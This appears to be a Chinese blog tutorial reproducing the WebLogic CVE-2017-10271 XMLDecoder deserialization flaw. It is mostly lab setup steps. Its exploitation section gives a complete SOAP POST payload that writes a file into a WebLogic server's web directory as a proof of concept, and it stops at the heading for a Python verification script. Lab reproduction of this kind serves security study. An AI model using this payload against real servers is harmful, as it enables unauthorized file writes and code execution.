Weblogic(CVE-2017-10271)漏洞复现
ebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
漏洞编号:CVE-2017-10271
漏洞描述:WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。
受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
A、环境搭建
1.首先去官网下载wls1036_generic.jar,下载链接:http://www.oracle.com/technetwork/cn/middleware/weblogic/downloads/wls-main-091116-zhs.html
选择如下:
下载完成上传到你需要的安装的服务器上,接下来创建weblogic用户:
[root@iz2ze8vnt9h5rv3i5ma1cpz base_domain]# useradd weblogic
设置weblogic用户密码:
[root@iz2ze8vnt9h5rv3i5ma1cpz base_domain]# passwd weblogic
系统会默认在/home下载创建weblogic用户文件夹,将wls1036_generic.jar复制到weblogic文件夹下并赋予安装文件可执行的权限
[root@iz2ze8vnt9h5rv3i5ma1cpz weblogic]# chmod a+x wls1036_generic.jar
一、开始安装:
1.切换到weblogic用户下
[root@iz2ze8vnt9h5rv3i5ma1cpz weblogic]# su weblogic
2.使用java -jar安装
-
[weblogic@iz2ze8vnt9h5rv3i5ma1cpz ~]$ ls
-
bea Oracle wls1036_generic.jar
-
[weblogic@iz2ze8vnt9h5rv3i5ma1cpz ~]$ java -jar wls1036_generic.jar -mode=console
注:如果安装文件是.bin格式的文件,安装命令为:./wls1036_generic.bin -mode=console;(你可以不加“-mode=console”的控制台文本模式,因为在你安装时无法启动图形安装界面时它会自动的进入文本控制台模式的)
3.控制台安装如下,操作:输入Next,回车
4.选择中间件的主目录(可自定义输入,也可以选择默认值),操作:输入安装目录,回车
5.选择中间件目录,操作:输入安装目录,回车
6.确认中间件目录,操作:回车
7.注册安全更新,一般不需要更新,操作:选择3,回车
8.更改接受更新方式,操作:输入No,回车
9.确认更改接受更新方式,操作:Yes,回车
10.接受更新选择确认,操作:输入“Next”,回车(此时Receive Security Update:[No]表示我们不接受安全更新)
11.选择安装类型(Typical:典型;Custom:自定义),操作:我们选择默认典型安装,输入“Next”,回车(如果选择定制安装,输入“2”,回车)
12.选择jdk,默认是系统安装的jdk,操作:Next,回车
13.选择产品安装目录,(一般来说,这一步默认就行(如果要更改的话就选择前面的序号,比如1回车,然后输入安装路径就行),输入“下一步”后回车),操作:Next,回车
14.安装产品系列列表,操作:Next,回车
15.出现开始安装界面,看到如下图的信息,就代表weblogic11g安装成功,此时回车(输入“Exit”)就可以退回到命令台上
二、安装完成后,需要配置domain域(domain是weblogic中最大的概念,一个域下面包含着weblogic应用服务器中的所有东西,weblogic应用服务器的启动、停止都是以domain为单位进行管理的,域是由单个管理服务器管理的weblogic service实例的集合)
1.进入weblogic的安装目录找到config.sh(如:/home/weblogic/Oracle/Middleware/wlserver_10.3/common/bin),操作:输入./config.sh,回车
-
[weblogic@iz2ze8vnt9h5rv3i5ma1cpz bin]$ ls
-
commEnv.sh config_builder.sh config.sh pack.sh setPatchEnv.sh startDerby.sh startManagedWebLogic.sh stopDerby.sh unpack.sh upgrade.sh wlscontrol.sh wlsifconfig.sh wlst.sh
-
[weblogic@iz2ze8vnt9h5rv3i5ma1cpz bin]$ pwd
-
/home/weblogic/Oracle/Middleware/wlserver_10.3/common/bin
-
[weblogic@iz2ze8vnt9h5rv3i5ma1cpz bin]$ ./config.sh
2.选择域源,操作:输入Next,回车(1代表选择 Weblogic Platform 组件,2代表选择定制模板,数字前面有一个小箭头代表选中,我们无需定制模板)
3.选择模板(选择默认的),操作:Next,回车
4.domain信息编辑(主要修改域名称),操作:输入“Next”,回车(如果要修改value的话,可直接输入value,回车;如:输入“wx_domain”,回车)
5.进入目标域目录选择,操作:输入“Next”,回车(这里我们选择默认即可,如果要修改,输入路径,回车)
6.配置管理员用户名和口令,操作:输入“2”,回车(此为修改用户口令;如果想修改其他信息,输入相关数字进行修改)
7.输入用户口令,操作:输入weblogic123,回车
8.确认用户口令,操作:输入3,回车
9.用户口令确认输入,操作:输入“weblogic123”,回车(密码要求至少8个字符且含有字符、数字、下划线)
10.管理员用户名和口令确认,操作:输入:Next,回车
11.域模式配置,操作:输入2,回车(1.开发模式,2生产模式)
12.java sdk选择,默认安装的jdk,操作:输入Next,回车
13.选择可选配置(1:管理服务器;2:受管服务器,集群和计算机;3:RDBMS安全存储),操作:输入Next,回车(我们暂无需配置)
14.创建域(这里需要注意下,出现**** Domain Created Successfully! ****表示创建成功)
本人之前遇到卡死在这一步
-
0% 25% 50% 75% 100%
-
[------------|------------|------------|------------]
-
[***************************************************]
解决办法:
修改Linux上Weblogic使用的jdk $JAVA_HOME/jre/lib/security/java.security 文件
将securerandom.source=file:/dev/urandom 修改为
securerandom.source=file:/dev/./urandom
15.接下启动weblogic(进入domain的安装目录,如:/home/weblogic/Oracle/Middleware/user_projects/domains/base_domain),找到startWebLogic.sh文件,执行
[weblogic@iz2ze8vnt9h5rv3i5ma1cpz base_domain]$ ./startWebLogic.sh
输入创建域的用户名:weblogic,口令: weblogic123
16.控制台输入:http://x.x.x.x:7001/console(若创建domain修改端口,输入你配置的端口)
输入输入创建域的用户名:weblogic,口令: weblogic123
B、漏洞利用:
1、初步判断:访问 http://192.168.118.18:7001/wls-wsat/CoordinatorPortType11,存在下图则说明可能存在漏洞
2、构造POST包进行测试,写入test.txt
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.118.18:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 756 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
PS:wls-wsat路径 //home/weblogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/
3、访问test.txt,漏洞验证成功
Python验证脚本: